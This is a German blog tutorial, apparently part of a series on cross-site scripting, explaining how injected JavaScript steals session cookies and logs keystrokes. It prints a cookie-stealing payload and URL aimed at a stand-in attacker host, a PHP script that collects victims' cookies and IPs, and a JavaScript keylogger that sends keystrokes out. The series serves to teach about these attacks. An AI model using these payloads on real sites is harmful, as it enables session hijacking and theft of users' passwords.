XSS-Angriffe, Teil 2: Cookies und Tastendrücke ausspähen
Nach dem Einschleusen von Informationen in den Browser geht es in dieser Folge mit der Gegenrichtung weiter: Dem Ausspähen von Informationen im Browser mittels XSS.
Ausspähen von Cookies
Vorsicht: Der Cookie-Dieb geht um!
Wobei "Dieb" eigentlich völlig falsch ist, denn der Cookie ist ja nach
dem Angriff noch da, der Angreifer hat sich lediglich eine Kopie davon
schicken lassen. Aber da sich der Begriff nun mal eingebürgert hat
wollte ich ihn wenigstens einmal Google und Co. zu liebe verwenden.
Worum geht es?
Webanwendungen erkennen die eingeloggten Benutzer meist an Session-IDs. Und die werden im Allgemeinen in einem Cookie gespeichert. Der hat den Vorteil, dass der Browser ihn bei jeden Request an den entsprechenden Webserver automatisch mitschickt, die Anwendung selbst muss sich also auf dem Client gar nicht darum kümmern. Das Ausspähen von Cookies ist neben dem Einfügen falscher Informationen "der" klassische XSS-Angriff.
Um den Cookie auszuspähen, wird auf dem Client JavaScript-Code eingeschleust, der den Cookie an den Server des Angreifers sendet. Das kann zum Beispiel so aussehen:
<script>document.location.replace('http://www.angreifer.example/cookie-sammler.php?cookie='+document.cookie)</script>
Bei einem Angriff über reflektiertes XSS über den Suchparameter müsste der Angreifer dem Opfer also zum Beispiel folgenden URL unterschieben:
http://www.server.example/anwendung.php?suche=
<script>document.location.replace('http://www.angreifer.example/cookie-sammler.php?
cookie='+document.cookie)</script>
(Die Umbrüche sind nur der besseren Lesbarkeit wegen vorhanden, sie gehören natürlich nicht in den URL)
Genauso gut könnte der XSS-Code auch zum Beispiel in einen Kommentar
eingetragen (persistentes XSS) oder über DOM-basiertes XSS direkt in
den Webbrowser des Opfers eingeschleust werden. Egal wie der Code
eingeschleust wird, er sendet sofort den Cookie an den Server des
Angreifers. Das dort laufende Skript cookie-sammler.php
kann
zum Beispiel so aussehen:
<?php
$cookie = $_GET['cookie'];
$opferip = getenv('REMOTE_ADDR');
$referer = getenv('HTTP_REFERER');
$datum = date("j F, Y, g:i a");
$daten = "Cookie: ".$cookie." <br>";
$daten = $daten."IP: ".$opferip." <br>";
$daten = $daten."Referer: ".$referer." <br>";
$daten = $daten."Datum und Zeit: ".$datum." <br>";
$daten = $daten." <hr> <br>";
$datei = fopen('cookies.html', 'a+');
fwrite($datei, $daten);
fclose($datei);
?>
Der Cookie des Opfers wird über den GET-Parameter cookie
übergeben, IP-Adresse und Referer werden aus den entsprechenden
Einträgen des Environments übernommen. Danach werden die
gesammelten Daten aufbereitet und das Ergebnis in die Datei
cookies.html
geschrieben.
Mit diesen ausgespähten Cookies kann der Angreifer sich dann gegenüber der angegriffenen Webanwendung als der entsprechende Benutzer ausgeben. Sofern die Webanwendung keinen Schutz vor solchen Angriffen enthält und zum Beispiel zusätzliche zur Session-ID die IP-Adresse des Benutzers für dessen Identifizierung verwendet.
Ach ja: Das Ausspähen des Cookies ist so auch nur dann möglich, wenn er nicht vor Zugriffen über JavaScript geschützt ist. Dazu dient das Flag "HttpOnly". Ist es gesetzt, kann der Cookie nicht über JavaScript gelesen werden.
Ausspähen von Tastatureingaben
Keylogger sind selten besonders nützlich, jedenfalls für normale Benutzer. Die wissen ja, was sie tippen, und im Allgemeinen landet das getippte ja auch irgendwo, wo der Benutzer es sehen kann. Für einen Angreifer sind Keylogger dagegen extrem nützlich, kann er so doch zum Beispiel eingetippte Benutzernamen und Passwörter ausspähen.
Ein Keylogger kann auch in JavaSCript implementiert werden. Der folgende JavaScript-Code gibt die Tastendrücke in der Statuszeile aus:
<script>
var keylog = 'Tastendrücke: ';
document.onkeypress = function () {
window.status = keylog += String.fromCharCode(window.event.keyCode);
}
</script>
Davon, dass die Tastendrücke in der Statuszeile angezeigt werden, hat der Angreifer nichts. Es zeigt aber das sehr einfache Prinzip des Angriffs: Tastendrücke werden erkannt und der zugehörige Tastencode ausgewertet. Mit Hilfe eines XMLHttpRequests lassen sich diese Daten auch problemlos an den Angreifer senden:
<script>
var zielURL = "http://www.angreifer.example/tasten-sammler.php"
var req = new XMLHttpRequest();
function sendeDaten(daten) {
req.open("POST", zielURL + "?tasten=" + encodeURIComponent(keylog.value), true);
req.send(null);
}
var keylog = '';
document.onkeypress = function () {
keylog += String.fromCharCode(window.event.keyCode);
sendeDaten(keylog)
}
</script>
Der Keylog-Teil dieses Skripts ist weitgehend identisch mit dem ersten Beispiel, lediglich auf die Ausgabe in der Statuszeile wird aus nahliegenden Gründen verzichtet. Stattdessen werden die Tastendrücke über einen XMLHttpRequest an den Server des Angreifers geschickt. Dort wartet ein Skript entsprechend dem zum Sammeln der Cookies auf die übertragenen Tastendrücke.
In der nächsten Folge geht es um weitere Angriffe auf den Browser, zum Beispiel dem Ausspähen von Passwörtern.
Übersicht über alle Artikel zum Thema
- Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS
- Cross-Site Scripting im Überblick, Teil 2: Persistentes XSS
- Cross-Site Scripting im Überblick, Teil 3: Der MySpace-Wurm Samy
- Angriffe über Cross-Site Scripting: Der Sourcecode des MySpace-Wurms Samy
- Cross-Site Scripting im Überblick, Teil 4: DOM-basiertes XSS
- Cross-Site Scripting im Überblick, Teil 5: Resident XSS
- XSS-Angriffe, Teil 1: Informationen einschleusen
- XSS-Angriffe, Teil 2: Cookies und Tastendrücke ausspähen
- XSS-Angriffe, Teil 3: Zugangsdaten ausspähen
- XSS-Angriffe, Teil 4: Ein Blick in die History, und dann auf ins LAN!
- XSS-Angriffe, Teil 5: Ein Portscan (nicht nur) im LAN
- XSS-Angriffe, Teil 6: Ein verbesserter Portscanner
- XSS-Angriffe, Teil 7: Hindernisse beim JavaScript-Portscan beseitigen
- XSS-Angriffe, Teil 8: Ein Portscan mit WebSockets oder Cross-Origin Requests
- XSS-Angriffe, Teil 9: Der Router im Visier
- XSS-Angriffe, Teil 10: Weitere Angriffe auf den Router
- XSS-Angriffe, Teil 11: Unerwünschtes Firmware-Update für den Router
- XSS-Angriffe, Teil 12: Browser-basierte Botnets
- XSS-Angriffe, Teil 13: Fortgeschrittene Angriffe
- XSS-Angriffe, Teil 14: Das Browser Exploitation Framework BeEF
Trackbacks
Dipl.-Inform. Carsten Eilers am : Die IoT Top 10, #1: Unsichere Weboberflächen, Teil 5
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Die IoT Top 10, #2: Unsichere Authentifizierung/Autorisierung, Teil 4
Vorschau anzeigen